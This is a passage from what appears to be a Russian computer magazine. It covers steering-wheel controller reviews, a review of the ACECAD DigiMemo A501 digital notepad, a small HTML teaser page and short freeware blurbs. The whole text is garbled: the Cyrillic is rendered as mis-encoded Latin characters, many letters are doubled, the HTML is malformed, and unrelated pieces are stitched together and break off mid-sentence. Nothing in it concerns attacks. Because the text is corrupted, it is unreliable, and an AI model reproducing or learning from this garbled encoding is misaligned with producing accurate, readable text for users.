ôèêñàöèè, íî äëÿ àêòèâíîé ðàáîòû
åñòü ñïåöèàëüíàÿ ñòðóáöèíà. Ïëàñòè-
êîâîå Ï-îáðàçíîå óñòðîéñòâî, êîòî-
ðîå ëåãêî ñíèìàåòñÿ è òàê æå ëåãêî
óñòàíàâëèâàåòñÿ, íàäåæíî çàôèêñè-
ðóåò ðóëü íà ñòîëå ëþáîé òîëùèíû.
Äëÿ ïîëíîöåííîé ðàáîòû äîëæåí
áûòü ïîäêëþ÷åí àäàïòåð, êîòîðûé
îáåñïå÷èò ìîòîð îáðàòíîé ñâÿçè íå-
îáõîäèìûì ïèòàíèåì. Íà ðóëå èìå-
þòñÿ ÷åòûðå êíîïêè, ðàñïîëîæåííûå
â ìåñòàõ êàñàíèÿ áîëüøèìè ïàëüöà-
ìè. Ïðîðåçèíåííûå ó÷àñòêè äåìîí-
ñòðèðóþò ïðàâèëüíûé õâàò. Â öåíòðå
ðóëÿ ðàñïîëîæåíû ñâåòîäèîäíûå
èíäèêàòîðû ñèëû îáðàòíîé ñâÿçè. 
Â ïðîöåññå èãðû îíè íàðàùèâàþò
èíòåíñèâíîñòü (îò çåëåíîãî ê êðàñ-

íîìó), òåì ñàìûì îáîçíà÷àÿ âåëè÷è-
íó ñîïðîòèâëåíèÿ èëè ñêîðîñòü ïî-
âîðîòà. Óñòàíîâèòü áëîê ïåäàëåé 
òîæå î÷åíü ïðîñòî. Äëÿ óâåëè÷åíèÿ
óñòîé÷èâîñòè â êîìïëåêò äîáàâëåíà
ñïåöèàëüíàÿ íàêèäûâàþùàÿñÿ ïëàí-
êà, íà êîòîðîé ìîæíî ðàñïîëîæèòü
íîãè. Íåîáû÷íàÿ óñòàíîâêà ïåäàëåé
ïîâòîðÿåò àâòîìîáèëüíóþ, òåì ñà-
ìûì óâåëè÷èâàÿ ðåàëèñòè÷íîñòü.
Ðàññòîÿíèå ìåæäó ãàçîì è òîðìî-
çîì äîñòàòî÷íîå, è ñïóòàòü ïåäàëè
íèêàê íå óäàñòñÿ. Èñïîëüçîâàíèå
îïòè÷åñêîé ñèñòåìû âìåñòî ðåçèñ-
òèâíûõ ýëåìåíòîâ çíà÷èòåëüíî ïî-
âûñèëî íàäåæíîñòü è äîëãîâå÷-
íîñòü äåâàéñà.

ìèíóñû. Ïðèìåíåíèå íåîáû÷-
íîé òåõíîëîãèè ñûãðàëî ñâîþ ïîëî-
æèòåëüíóþ ðîëü, íî ñîïðîòèâëåíèå
ïåäàëåé ñëèøêîì ìàëî, è íîãà, êîã-
äà èãðàåøü, ïîðîé ïðîñòî «ïðîâàëè-
âàåòñÿ». Êðàñíûå è æåëòûå êíîïêè
íà ÷åðíî-ñåðîì ðóëå âûãëÿäÿò íå-
ñêîëüêî àëÿïîâàòî, à èíäèêàòîðû
ñèëû îáðàòíîé ñâÿçè âî âðåìÿ èãðû
òîëüêî îòâëåêàþò. Ïîäðóëåâûå ïå-
ðåêëþ÷àòåëè-ëåïåñòêè ñðàáàòûâàþò
òîëüêî ïðè äîâîëüíî ñèëüíîì íàæà-
òèè è áåç õàðàêòåðíîãî ùåë÷êà, òàê
÷òî ñëîæíî ïîíÿòü, ïåðåêëþ÷åíà ëè
ïåðåäà÷à.

ÌÀÒÅÐÈÀË: ïëàñòèê, ïïðîðåçèíåííûé ððóëü

ÓÃÎË ÏÎÂÎÐÎÒÀ ÐÓËß: 240 ããðàäóñîâ

ÊÎËÈ×ÅÑÒÂÎ ÎÑÅÉ: 5

ÊÎËÈ×ÅÑÒÂÎ ÊÍÎÏÎÊ: 8

ÁÎÍÓÑ: êðåñò ((äæîéñòèê), ïïîäðóëåâûå
ïåðåêëþ÷àòåëè, ññîâìåñòèìîñòü ññ PPlayStation

ïëþñû. Êîìïàíèÿ êóïèëà ëè-
öåíçèþ è äîáàâèëà áðåíä Ferrari
â íàçâàíèå ýòîãî ðóëÿ íå ñëó÷àé-
íî. Ýòî ïðàêòè÷åñêè òî÷íàÿ êîïèÿ
áàðàíêè, óñòàíàâëèâàåìîé íà ñå-
ðèéíûå àâòîìîáèëè. Íàäåæíî ïðè-
êðåïèòü äåâàéñ ê ñòîëó ïîìîæåò
ñïåöèàëüíàÿ äâóõêîíòàêòíàÿ ïëàñ-
òèêîâàÿ ëàïà ñ ðåçèíîâûìè óïîðà-
ìè, êîòîðàÿ êðåïèòñÿ ìåòàëëè÷åñ-
êèì áîëòîì ê ðóëåâîé êîíñîëè.
Òðåõñïèöåâûé ðóëü âûïîëíåí èç
ïëàñòèêà, à íà ìåñòå çàõâàòà äëÿ
ðóê îí èìååò ðåçèíîâûå íàêëàäêè.
Ýðãîíîìè÷íàÿ ôîðìà è ïðîäóìàí-
íîñòü ðàñïîëîæåíèÿ ýëåìåíòîâ óï-
ðàâëåíèÿ îòðàçèëèñü â òîì, ÷òî
ïðàêòè÷åñêè íà âñå êíîïêè ìîæíî
íàæèìàòü íå ñìåùàÿ ëàäîíè. Ïîä-
ðóëåâûå ïåðåêëþ÷àòåëè ðàñïîëî-
æåíû äîñòàòî÷íî áëèçêî ê ïàëü-
öàì è ïðîíóìåðîâàíû òàê æå, êàê
è âñå îñòàëüíûå êíîïêè.

Ïî òðàäèöèè ðóëü îáëàäàåò
àâòîìàòè÷åñêèì öåíòðèðîâàíèåì,
êîòîðîå àêòèâèðóåòñÿ íàæàòèåì ñà-
ìîé íèæíåé êíîïêè íà ðóëå. Ñâåòî-

äèîäíûé èíäèêàòîð îïîâåùàåò î
âûáðàííîì ðåæèìå. Áëîê ïåäàëåé
èìååò íå î÷åíü äëèííûé êàáåëü, íî
åãî âïîëíå õâàòèò äëÿ óäîáíîãî ðàç-
ìåùåíèÿ óçëà ïîä ñòîëîì. Ðàçìåð
ïåäàëåé íåìàëåíüêèé, îíè ðàçíåñå-
íû íà äîñòàòî÷íîå ðàññòîÿíèå, ÷òî-
áû íå öåïëÿòüñÿ çà íèõ ñòóïíÿìè.
Óïðóãîñòü ïðóæèí ïîçâîëÿåò ñïîêîé-
íî ïîëîæèòü íîãè, íå áîÿñü, ÷òî ïðî-
äàâèòñÿ ïåäàëü. Îò ïðîñêàëüçûâà-
íèÿ ïî ïîëó ñïàñóò óäîáíûå íîæêè.
Ñèñòåìå îáðàòíîé ñâÿçè íåîáõîäè-
ìî äîïîëíèòåëüíîå ïèòàíèå, äëÿ ÷å-
ãî â êîìïëåêòå ïðèëàãàåòñÿ àäàï-
òåð. Ïîñëå ïîäêëþ÷åíèÿ ðóëÿ ê USB
ïðîèñõîäèò àâòîìàòè÷åñêàÿ êàëèá-
ðîâêà, è ñïóñòÿ íåñêîëüêî ñåêóíä
ðóëü áóäåò ãîòîâ ê ðàáîòå. Ìîù-
íîñòü äâèãàòåëÿ, îáåñïå÷èâàþùåãî
ðàáîòó Force Feedback, òàêîâà, ÷òî
äàæå ïðè ñòàíäàðòíûõ íàñòðîéêàõ
ðóëü äîâîëüíî îùóòèìî âûðûâàåòñÿ
èç ðóê, íî åñòü ôóíêöèÿ óñèëåíèÿ
îáðàòíîé ñâÿçè äî 150%. Ñóùåñòâó-
åò âîçìîæíîñòü ïîäêëþ÷èòü ðóëü
ê èãðîâîé ïðèñòàâêå PlayStation, äëÿ
÷åãî íà êàáåëå ïðèñóòñòâóåò ñîîò-
âåòñòâóþùèé ðàçúåì.

ìèíóñû. Â ðåæèìå àâòîìàòè-
÷åñêîãî öåíòðèðîâàíèÿ ðóëÿ ñâåòî-
äèîä-èíäèêàòîð äîâîëüíî ÿðêî ñâå-
òèò êðàñíûì, ÷òî îòâëåêàåò è íå-
ìíîãî ðàçäðàæàåò.
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ÂÛÂÎÄÛ: ÁÅÇÓÑËÎÂÍÛÌ ËÈÄÅÐÎÌ ÒÅÑÒÀ ÑÒÀËÀ ÌÎÄÅËÜ THRUST-
MASTER RGT FORCE FEEDBACK PRO, ÊÎÒÎÐÀß ÎÁËÀÄÀÅÒ ÍÅ ÒÎËÜÊÎ
ÎÒËÈ×ÍÎ ÐÅÀËÈÇÎÂÀÍÍÎÉ ÎÁÐÀÒÍÎÉ ÑÂßÇÜÞ, ÍÎ È ÑÀÌÛÌÈ ØÈ-
ÐÎÊÈÌÈ ÂÎÇÌÎÆÍÎÑÒßÌÈ ÄËß ÏÎÂÛØÅÍÈß ÐÅÀËÈÑÒÈ×ÍÎÑÒÈ ÈÃ-
ÐÎÂÎÃÎ ÏÐÎÖÅÑÑÀ. «ÂÛÁÎÐ ÐÅÄÀÊÖÈÈ»!

«ËÓ×ØÅÉ ÏÎÊÓÏÊÎÉ» ÑÒÀË LOGITECH MOMO RACING ÁËÀÃÎÄÀÐß ÎÒ-
ËÈ×ÍÎÉ ÐÅÀËÈÇÀÖÈÈ ÎÁÐÀÒÍÎÉ ÑÂßÇÈ È ÝÐÃÎÍÎÌÈ×ÍÎÑÒÈ.
ÍÓ ×ÒÎ? ÅÙÅ ÍÅ ÐÅØÈËÑß ÏÎÑÒÀÂÈÒÜ ÍÀ ÑÂÎÉ ÑÎÂÅÐØÅÍÍÎ 
ÍÀÑÒÎßÙÈÉ ÀÂÒÎÌÎÁÈËÜ ÊÀÊÎÉ-ÍÈÁÓÄÜ ÈÇ ÒÀÊÈÕ «ÈÃÐÓØÅ×ÍÛÕ»
ÐÓËÅÉ? ;-)
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Óñòðîéñòâî âûãëÿäèò êàê ïðîñòàÿ ïëàñòèêîâàÿ ïîäñòàâêà ÷åðíîãî öâåòà ïîä
áëîêíîò äëÿ óäîáíîãî ïèñüìà. Â êîìïëåêò âõîäèò îáû÷íûé áëîêíîò, öèôðîâîå
÷åðíèëüíîå ïåðî, ñîáñòâåííî ïîðòàòèâíûé ïëàíøåò, äâà çàìåíÿåìûõ ñòåðæíÿ,
êîìïëåêò èç ÷åòûðåõ áàòàðååê ôîðìàòà ÀÀÀ, îäíà áàòàðåéêà 1,55 Â, çàæèì äëÿ
áóìàãè, äèñê ñ ïðîãðàììíûì îáåñïå÷åíèåì è USB-êàáåëü äëÿ ïîäêëþ÷åíèÿ óñò-
ðîéñòâà ê ïåðñîíàëüíîìó êîìïüþòåðó. Ïåðî ïîõîæå íà îáû÷íóþ ðó÷êó. Îíî ýð-
ãîíîìè÷íî, ïèòàåòñÿ îò 1,5 Â áàòàðåéêè-òàáëåòêè, äåðæàòü åãî â ðóêå óäîáíî.
Îñíîâíàÿ îñîáåííîñòü óñòðîéñòâà — âûñîòà ÷óâñòâèòåëüíîé çîíû (öåëûõ
12 ìì), ÷òî ïîçâîëÿåò ïëàíøåòó ACECAD DigiMemo A501 ðàáîòàòü ñ òîëñòû-
ìè êèïàìè áóìàãè. Ñòîèò îòìåòèòü, ÷òî äëÿ áîëüøèíñòâà îáû÷íûõ ïëàíøåòîâ
âûñîòà çîíû ÷óâñòâèòåëüíîñòè íå ïðåâûøàåò 5-6 ìì. Îäíàêî ðàáî÷àÿ îá-
ëàñòü ïëàíøåòà íå î÷åíü âåëèêà è ïîäõîäèò òîëüêî äëÿ ëèñòîâ ôîðìàòà
áëîêíîòà, êîòîðûé ïðèëàãàåòñÿ â êîìïëåêòå. Ïîñëå òîãî êàê ÷èñòûå ëèñòû
â áëîêíîòå çàêîí÷àòñÿ, ïîëüçîâàòåëþ ïðèäåòñÿ èñêàòü â êàíöåëÿðñêèõ ìàãà-
çèíàõ íîâûé, êîòîðûé ïîäõîäèë áû ïî ðàçìåðó.

Ê çàùåëêå äëÿ áóìàãè òîæå ïðåäúÿâëþ ïðåòåíçèè. Äåëî â òîì, ÷òî ïðè
ðàáîòå îíà ïîñòîÿííî îòñòåãèâàåòñÿ è ñëàáî äåðæèò ðàáî÷èå ëèñòû. Â ëåâîì
âåðõíåì óãëó êîðïóñà íàõîäèòñÿ íåáîëüøîé äèñïëåé ðàçìåðàìè 1,75 íà 3
ñì. Â ïðîöåññå ðàáîòû íà íåì îòîáðàæàåòñÿ íîìåð ñòðàíèöû, èñïîëüçóåìîé
â ïàìÿòè (âñåãî èõ ìîæåò áûòü ïîðÿäêà òûñÿ÷è), à ïðè ïèñüìå âûñâå÷èâàåòñÿ
èçîáðàæåíèå ñòèëóñà. Èñïèñàííûå ñòðàíèöû òàêæå îòîáðàæàþòñÿ íà ýêðàí-
÷èêå â âèäå îïðåäåëåííîãî ëîãîòèïà, òàê ÷òî çàïóòàòüñÿ î÷åíü ñëîæíî.

Ðàáîòà ñ óñòðîéñòâîì â îáùåì ëåãêàÿ è ïðèÿòíàÿ. Ðó÷êà-ïåðî óäîáíî êðåïèò-
ñÿ ê êîðïóñó ïëàíøåòà, à äëÿ çàïàñíûõ ñòåðæíåé ïðåäóñìîòðåí ñïåöèàëüíûé
îòñåê — îíè âñåãäà áóäóò ïîä ðóêîé. Âðåìÿ æèçíè áàòàðååê, ïî ñëîâàì ïðî-
èçâîäèòåëÿ, îãðàíè÷åíî 100 ÷àñàìè, ïðè÷åì âñå ýòî âðåìÿ íóæíî íåïðåðûâ-
íî ÷òî-òî ïèñàòü. Ïðîâåðèòü ýòîò ôàêò äîâîëüíî ñëîæíî, íî äàæå åñëè èìå-
åòñÿ âîçìîæíîñòü ïîðàáîòàòü õîòÿ áû 80 ÷àñîâ, óæå âåñüìà íåïëîõî.
Ïåðî óäîáíî ëåæèò â ðóêå è ïèøåò ñèíèìè ÷åðíèëàìè, ÷åðíèë ÷åðíîãî öâåòà
â êîìïëåêòå íåò. Êñòàòè, ñòåðæíè ñòàíäàðòíûå, òàêèå ìîæíî ïðèîáðåñòè â
îáû÷íîì êàíöåëÿðñêîì ìàãàçèíå. Ãëàâíîå — íàéòè èìåííî æåëåçíûå.

Æàëü, ÷òî íå ïîëó÷èòñÿ ïðîñòî ïåðåíåñòè çàïèñè íà ÏÊ â îïðåäåëåí-
íîì ôîðìàòå MS Word èëè, íà õóäîé êîíåö, â JPEG. Îäíàêî ðàñïîçíàâàíèå
òåêñòà è íîðìàëèçàöèÿ ðèñóíêîâ ïîääàäóòñÿ äîïîëíèòåëüíîìó ÏÎ, åñëè òû
êóïèøü åãî îòäåëüíî. Äëÿ ýòîãî íà ïðèëàãàåìîì äèñêå èìååòñÿ ñïåöèàëü-
íîå ïðîãðàììíîå îáåñïå÷åíèå — ACECAD DigiMemo Manager. Ïîäñîåäèíÿ-
åøü ïëàíøåò ê ÏÊ, è óòèëèòà ïîìîãàåò òåáå ñîõðàíèòü íàïèñàííûå ñòðàíè-
öû â ôàéëàõ ñî ñïåöèàëüíûì ðàñøèðåíèåì DHW. Ïðè æåëàíèè ïîëó÷åííûå
äîêóìåíòû ìîæíî êîíâåðòèðîâàòü â óäîáîâàðèìûå ôîðìàòû.

Ñîôò óäîáåí â èñïîëüçîâàíèè è íå òðåáóåò êàêèõ-ëèáî îñîáûõ íàâûêîâ
ðàáîòû ñ êîìïüþòåðîì. Â öåëîì âïå÷àòëåíèÿ, êîòîðîå ñêëàäûâàþòñÿ ïðè ðà-
áîòå ñ äåâàéñîì, ñêîðåå ïîëîæèòåëüíûå. Öèôðîâîé áëîêíîò ACECAD DigiMemo
A501 áóäåò õîðîøèì ïîìîùíèêîì è äåëîâîãî ÷åëîâåêà, è ñòóäåíòà, à áëàãîäà-
ðÿ ïðèâëåêàòåëüíîé öåíå ñòàíåò õîðîøèì ïîäàðêîì äëÿ ðîäíûõ è áëèçêèõ 

ACECAD DIGIMEMO A501
ÏËÀÍØÅÒ. ÎÁÛ×ÍÎ ÒÀÊ ÍÀÇÛÂÀÞÒ ÓÑÒÐÎÉÑÒÂÎ Â ÂÈÄÅ
ÊÎÐÏÓÑÀ Ñ ÐÀÁÎ×ÅÉ ÎÁËÀÑÒÜÞ È ÍÅÏÎÑÐÅÄÑÒÂÅÍÍÎ
ÝËÅÊÒÐÎÍÍÎÅ ÏÅÐÎ. ÎÄÍÀÊÎ ÁÎËÜØÈÍÑÒÂÎ ÏËÀÍØÅÒÎÂ
ÏÎÄÄÅÐÆÈÂÀÞÒ ÐÀÁÎÒÓ ÒÎËÜÊÎ ÏÐÈ ÂÊËÞ×ÅÍÍÎÌ
ÊÎÌÏÜÞÒÅÐÅ. ÓÑÒÐÎÉÑÒÂÎ ACECAD DIGIMEMO A501 
ÏÎ-ÑÂÎÅÌÓ ÓÍÈÊÀËÜÍÎ, ÕÎÒß ÁÛ ÏÎÒÎÌÓ ×ÒÎ ÎÍÎ
ÐÀÁÎÒÀÅÒ ÍÅÇÀÂÈÑÈÌÎ ÎÒ ÒÂÎÅÃÎ ÏÊ — ÒÛ ÎÁÙÀÅØÜÑß 
Ñ ÍÈÌ Ñ ÏÎÌÎÙÜÞ ÎÁÛ×ÍÎÉ ÏÈÑ×ÅÉ ÁÓÌÀÃÈ! ÎÄÍÀÊÎ ÎÁÎ
ÂÑÅÌ ÏÎ ÏÎÐßÄÊÓ |ÏÎÏÎÂ ÅÂÃÅÍÈÉ

ááëëîîêêííîîòò-ààââòòîîììààòò

ÖÅÍÀ: $130

ÐÀÇÌÅÐÛ, ÌÌ: 309õ209

ÐÀÁÎ×Àß ÎÁËÀÑÒÜ, ÌÌ: 150õ211

ÂÛÑÎÒÀ ×ÓÂÑÒÂÈÒÅËÜÍÎÉ ÇÎÍÛ, ÌÌ: 12

ÂÅÑ (ÁÅÇ ÁÀÒÀÐÅÉ), Ã: 512

ÂÅÑ (Ñ ÁÀÒÀÐÅßÌÈ), Ã: 560

ÂÑÒÐÎÅÍÍÀß ÏÀÌßÒÜ, ÌÁ: 8

ÒÈÏ ÏÎÄÄÅÐÆÈÂÀÅÌÎÉ ÏÀÌßÒÈ: CompactFlash ((CF)

ÈÍÒÅÐÔÅÉÑ ÏÎÄÊËÞ×ÅÍÈß Ê ÏÊ: USB

ÈÑÒÎ×ÍÈÊÈ ÏÈÒÀÍÈß: 4 ááàòàðåè òòèïà ÀÀÀÀ, 11 ááàòàðåÿ-òòàáëåòêà

Test_lab ââûðàæàåò ááëàãîäàðíîñòü ççà ïïðåäîñòàâëåííîå ííà òòåñòèðîâàíèå 
îáîðóäîâàíèå êêîìïàíèè: 
Avacom, www.avacom.ru, (495) 730-74-54



<html>
<head>
<meta http-equiv="Expires" content="never" />
<meta name="generator" content="ÑÏÅÖ 06.06(67)" />
<meta name="keywords" content="HTML 4.0,CSS, 
äâèæêè, PHP, ñàéòû, Web2.0, RSS, AJAX, web-ñåðâèñû, áàãè" />
<meta name="description" content="Àêòóàëüíûå âîïðîñû 
web-ïðîãðàììèðîâàíèÿ" />

</title>

WEB
CODING
</title>
</head>
<body>

<h3>Ñêîðî â Ñïåöå:</h3></br>
<b>Àäìèíèíã.</b>Óñòàíîâêà, íàñòðîéêà è ïîääåðæêà 
êîìïüþòåðíûõ ñèñòåì è ñåòåé.<br />
<b>BSD.</b>Óñòàíîâêà, íàñòðîéêà, óïðàâëåíèå BSD-ñèñòåìàìè. 
Èñòîðèÿ. Áåçîïàñíîñòü.<br />
<b>Windows Vista.</b>Âçãëÿä èçíóòðè. Ïîäðîáíûé àíàëèç íîâîé ÎÑ 
îò Microsoft. Íîâåéøèå òåõíîëîãèè. Óäîáñòâî è áûñòðîòà ðàáîòû.

<body>
</html>



Weather
Watcher 55.6.7
Ýòà áåñïëàòíàÿ
ïðîãðàììà ïîêàçû-
âàåò ïîãîäó äëÿ ëþ-
áîãî ãîðîäà ìèðà.
Òåïåðü òû ñìîæåøü
åæå÷àñíî ïðîñìàò-
ðèâàòü òåêóùèå ïî-
ãîäíûå óñëîâèÿ,
åæåäíåâíî — äå-
òàëüíûé ïðîãíîç 

è ñîçäàííûå êàðòû ïî ëþáîìó ãîðîäó ìèðà.
Weather Watcher — íåáîëüøàÿ íàñòîëüíàÿ ïî-
ãîäíàÿ ñòàíöèÿ, êîòîðàÿ ñïîêîéíî ñèäèò â
ñèñòðåå ñèñòåìû è àâòîìàòè÷åñêè îáíîâëÿåò
ñâåäåíèÿ î ïîãîäå â óêàçàííîì èíòåðâàëå âðå-
ìåíè. Ñîôòèíà âûäàåò òåêóùèé ïðîãíîç, âêëþ-
÷àåò â íåãî òåìïåðàòóðó, òåìïåðàòóðó «íà îùó-
ùåíèå» (êîòîðóþ îùóòèò ÷åëîâåê, îäåòûé ïî
ñåçîíó), âëàæíîñòü, âåòåð, âèäèìîñòü, äàâëå-
íèå è óëüòðàôèîëåòîâîå èçëó÷åíèå.

Weather Watcher ïðåäîñòàâèò è 10-äíåâ-
íûé ïðîãíîç: îáùåå ñîñòîÿíèå îêðóæàþùåé
ñðåäû, òåìïåðàòóðíûå ìàêñèìóìû è ìèíèìóìû,
îæèäàåìûé óðîâåíü óëüòðàôèîëåòîâîãî èçëó-
÷åíèÿ (ñìîæåøü âûáðàòü, êîãäà ñòèðàòü äàííûå
ñ ÷èïîâ ñ ÓÔ-ñòèðàíèåì ;)). Ïîãîäíûå èçìåðå-
íèÿ ìîãóò áûòü âûðàæåíû â ìåòðè÷åñêèõ èëè
àíãëèéñêèõ åäèíèöàõ.

AutoHotkey 11.0.43.05
Ïðîãðàììà ïîçâîëÿåò âåøàòü
äåéñòâèÿ íà ãîðÿ÷èå êëàâèøè è ïåðå-
íàçíà÷àòü êîìàíäû, êîòîðûå ââîäÿò-
ñÿ ñ êëàâèàòóðû, ìûøêè èëè äæîéñ-
òèêà. È ìíîãîå äðóãîå... Íó, êàê òóò
íå ïîïðîáîâàòü? ;)

ÍÀÈÑÂÅÆÀÉØÈÅ ÏÐÎÃÐÀÌÌÛ 
ÎÒ NNM.RU |D()C (DOC@NNM.RU)
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Traffic CCounter 11.3
Íîâàÿ âåðñèÿ ïðîñòåíüêîé
ïðîãðàììû äëÿ ó÷åòà òðà-
ôèêà â ëîêàëüíîé ñåòè ïðè
ìîäåìíîì, ADSL- è ò.ï. èëè
dial-up-ñîåäèíåíèè. Îòäåëüíî ïî êàæäîìó ñîå-
äèíåíèþ Traffic Counter ïîäñ÷èòàåò âõîäÿùèé 
è èñõîäÿùèé òðàôèê. Ñóìååò âû÷èñëèòü,
ñêîëüêî äåíåã òû ïîòðàòèë íà òðàôèê, ïðîñ-
ìàòðèâàòü èñòîðèþ, óçíàâàòü òåêóùóþ ñêî-
ðîñòü ñîåäèíåíèÿ, ðàáîòàòü ñ òðåÿ. Ïðîãðàììà
àâòîìàòè÷åñêè ñòàâèòñÿ â àâòîçàãðóçêó ïðè
ïåðâîé èíñòàëëÿöèè.

Easy MMP3 AAlarm CClock 11.0
Î÷åíü ïðîñòàÿ ïðîãðàììà-áóäèëüíèê. Ñàìîå ïðèÿòíîå èç åå äîñòî-
èíñòâ — âîçìîæíîñòü ïîñòàâèòü â êà÷åñòâå çâîíêà ëþáîé àóäèîôàéë
â MP3-ôîðìàòå. Áëàãîäàðÿ óäîáíîìó è ïîíÿòíîìó èíòåðôåéñó òû çà íåñêîëüêî ñåêóíä íàñòðîèøü
áóäèëüíèê íà íóæíîå âðåìÿ. Ïðîãðàììà áåñïëàòíà è ðàáîòàåò íà âñåõ îïåðàöèîííûõ ñèñòåìàõ ñå-
ìåéñòâà Windows.

AntiVir PPersonal EEdition 77
Áåñïëàòíûé àíòèâèðóñ ãåðìàíñ-
êîé ñáîðêè âêëþ÷àåò â ñåáÿ àí-
òèâèðóñíûé ñêàíåð, àíòèâèðóñ-
íûé ìîíèòîð è áàçó äàííûõ áî-
ëåå ÷åì íà 150 000 âèðóñîâ.
Äîáàâëþ îò ñåáÿ: îí íàõîäèë ó ìåíÿ òàêîå, 
î ÷åì ìîë÷àëè ìíîãèå èçâåñòíûå åãî ñîáðàòüÿ.
Îòäåëüíî õî÷ó îòìåòèòü õîðîøèé ýâðèñòè÷åñ-
êèé àíàëèçàòîð, êîòîðûé íå ðàç ïîìîãàë ìíå
èçáàâèòüñÿ îò íîâûõ è ñïðÿòàííûõ òðîÿíîâ :).

Sony AACID PPro 66.0 BBuild 2214
Ìîùíûé èíñòðóìåíò äëÿ ñîçäàíèÿ ìó-
çûêè, ðåìèêñîâ, ñàóíäòðåêîâ ñ ïîìîùüþ
loop’îâ (ïîääåðæèâàåòñÿ ôîðìàò 5.1).

Íåñìîòðÿ íà çàãðóæåííûé èíòåð-
ôåéñ, îñâîèòü ïðîãðàììó è ðàáîòàòü â íåé
î÷åíü ïðîñòî. Ìîæåò ðàáîòàòü ñ íåîãðà-
íè÷åííûì êîëè÷åñòâîì äîðîæåê è loop’îâ.
Åñòü èìïîðò-ýêñïîðò ìóçûêè â WAV, WMA,
RM, AVI, MP3.

Apollo DDivX tto DDVD CCreator vv2.7.0
Òðàíñêîäåð AVI/MPEG-âèäåîôàéëîâ â DVD-
ôîðìàò ñ ïðîæèãîì (çàïèñüþ) âèäåî-DVD.
Ïîääåðæèâàåò Divx, Xvid, AVI, MPG è äðóãèå
ôîðìàòû âèäåî. Êîäèðóåò â MPEG2, ñîâìåñòè-
ìûé ñ DVD-ôîðìàòîì. Ïîääåðæèâàåò NTSC- 
è PAL TV-ñèñòåìû ñ ïåðåêîäèðîâàíèåì, ïîääå-
ðæêîé øèðîêîôîðìàòíîãî è ñòàíäàðòíîãî ðàç-
ìåðà ýêðàíà. Ïðîæèãàåò ñòàíäàðòíûå DVD-
äèñêè, ïðè÷åì ïîääåðæèâàþòñÿ áûòîâûå ïðî-
èãðûâàòåëè è áîëüøèíñòâî ïèøóùèõ ïðèâîäîâ
DVD-R/RW è DVD+R/RW. Åñòü ïðåäâàðèòåëüíûé

ïðîñìîòð ðåçóëü-
òàòà, àâòîìàòè-
÷åñêîå âûêëþ÷å-
íèå êîìïüþòåðà
ïîñëå çàâåðøå-
íèÿ ðàáîòû êîí-
âåðòåðà. Âûñîêîå
êà÷åñòâî è âûñî-
êàÿ ñêîðîñòü,
ïðîñòîé è óäîá-
íûé èíòåðôåéñ.



CPU-ZZ vv.1.33
Íåáîëüøàÿ, íî î÷åíü ïðèÿòíàÿ ïðîãðàììà äëÿ ïîëó÷åíèÿ ïîä-
ðîáíåéøèõ äàííûõ î òâîåì æåëåçå. 
Ñ ïîìîùüþ CPU-Z ìîæíî âûÿñíèòü: íàçâàíèå ïðîöåññîðà, ìî-
äåëü; ïîääåðæèâàåìûå CPU íàáîðû èíñòðóêöèé è ñïåöèôèêà-
öèè; íàïðÿæåíèå ïèòàíèÿ; ðàçìåð, ñêîðîñòü, òåõíîëîãèþ, ìåñòî-
íàõîæäåíèå êåøà L1, L2, L3; BIOS, ÷èïñåò, ïàìÿòü, ïàðàìåòðû
AGP ìàòåðèíñêîé ïëàòû; ðàçìåð, òèï, âðåìåííûå õàðàêòåðèñòèêè è ñïåöèôèêàöèþ óñ-
òàíîâëåííîé îïåðàòèâíîé ïàìÿòè. CPU-Z ïðîñòà, ïðåäñòàâëÿåò èíôîðìàöèþ íàãëÿäíî,
ïîýòîìó äîñòàòî÷íî ïîïóëÿðíà.

Amust RRegistry 
Cleaner vv2.1
Íîâûé ïîäõîä ê î÷èñòêå è
ïîääåðæàíèþ ðååñòðà â àêêó-
ðàòíîì ñîñòîÿíèè. Ïðîãðàì-
ìà óìååò èñïðàâëÿòü îøèáêè,
óâåëè÷èâàòü ïðîèçâîäèòåëü-
íîñòü. Åñòü ïëàíèðîâùèê (íà-
ïðèìåð, äëÿ ÷èñòêè ðååñòðà ïî ðàñïèñàíèþ),
óâåäîìëåíèÿ ïî e-mail, ôóíêöèÿ Undo (îõ êàê
íóæíà) è íåêîòîðûå ôèðìåííûå ïðèìî÷êè. È
âñå ýòî â ñèìïàòè÷íîì çåëåíîì èíòåðôåéñå.

WIDI 33.2
Ïåðåâåäåíà íà ðóññêèé ÿçûê
íîâàÿ âåðñèÿ ïðîãðàììû WI-
DI 3.2. Êà÷åñòâåííî óëó÷øåí
èíòåðôåéñ, äîáàâëåíû íî-
âûå âîçìîæíîñòè. Îñíîâíàÿ
çàäà÷à WIDI — ýòî ðàñïîçíà-
âàíèå ìóçûêè. Ìóçûêàëüíàÿ
çàïèñü ìîæåò áûòü ïðåäñ-
òàâëåíà â äâóõ ðàçëè÷íûõ ôîðìàõ: çâóêîâàÿ âîëíà è íîò-
íàÿ çàïèñü. Çâóêîâàÿ âîëíà — ýòî çàïèñü çàâèñèìîñòè
çâóêîâîãî äàâëåíèÿ îò âðåìåíè. Ïðèìåðàìè ìîãóò ñëóæèòü
ôàéëû ôîðìàòà WAV è MP3, ìàãíèòîôîííûå çàïèñè è ò.ä.
Â òàêîì âèäå ïðîèãðûâàåìûé çâóê â òî÷íîñòè ñîâïàäàåò 
ñ çàïèñàííûì. Òåì íå ìåíåå ìíîãèå èíñòðóìåíòû è çâóêè,
çâó÷àùèå îäíîâðåìåííî, ïåðåêðûâàþòñÿ. Â ðåçóëüòàòå òå-
áå óæå íå ïîçâîëÿþò èçìåíÿòü ÷òî-òî (íîòû, àðàíæèðîâêó
è ò.ä.) â ìóçûêàëüíîì ïðîèçâåäåíèè. Íîòíàÿ çàïèñü, íàï-
ðèìåð îáû÷íàÿ ïàðòèòóðà èëè ôàéë ôîðìàòà MIDI, ïî ñóòè
ïðåäñòàâëÿåò ñîáîé íàáîð êîìàíä: êàêóþ íîòó è êàêèì
èíñòðóìåíòîì ñëåäóåò ñûãðàòü. Òàêàÿ ôîðìà çàïèñè ëåãêî
ïîääàåòñÿ ðåäàêòèðîâàíèþ è çàíèìàåò ìåíüøå ìåñòà, ÷åì
ôàéëû WAV. Îäíàêî íå ëþáîé çâóê ìîæåò áûòü çàïèñàí 
â òàêîé ôîðìå. Íàïðèìåð, íåâîçìîæíî çàïèñàòü ÷åëîâå-
÷åñêóþ ðå÷ü â âèäå íîò.

Çàäà÷à ðàñïîçíàâàíèÿ, îñîáåííî ìóçûêàëüíûõ çàïè-
ñåé, — ñåðüåçíàÿ ìàòåìàòè÷åñêàÿ ïðîáëåìà. Óíèâåðñàëüíî-
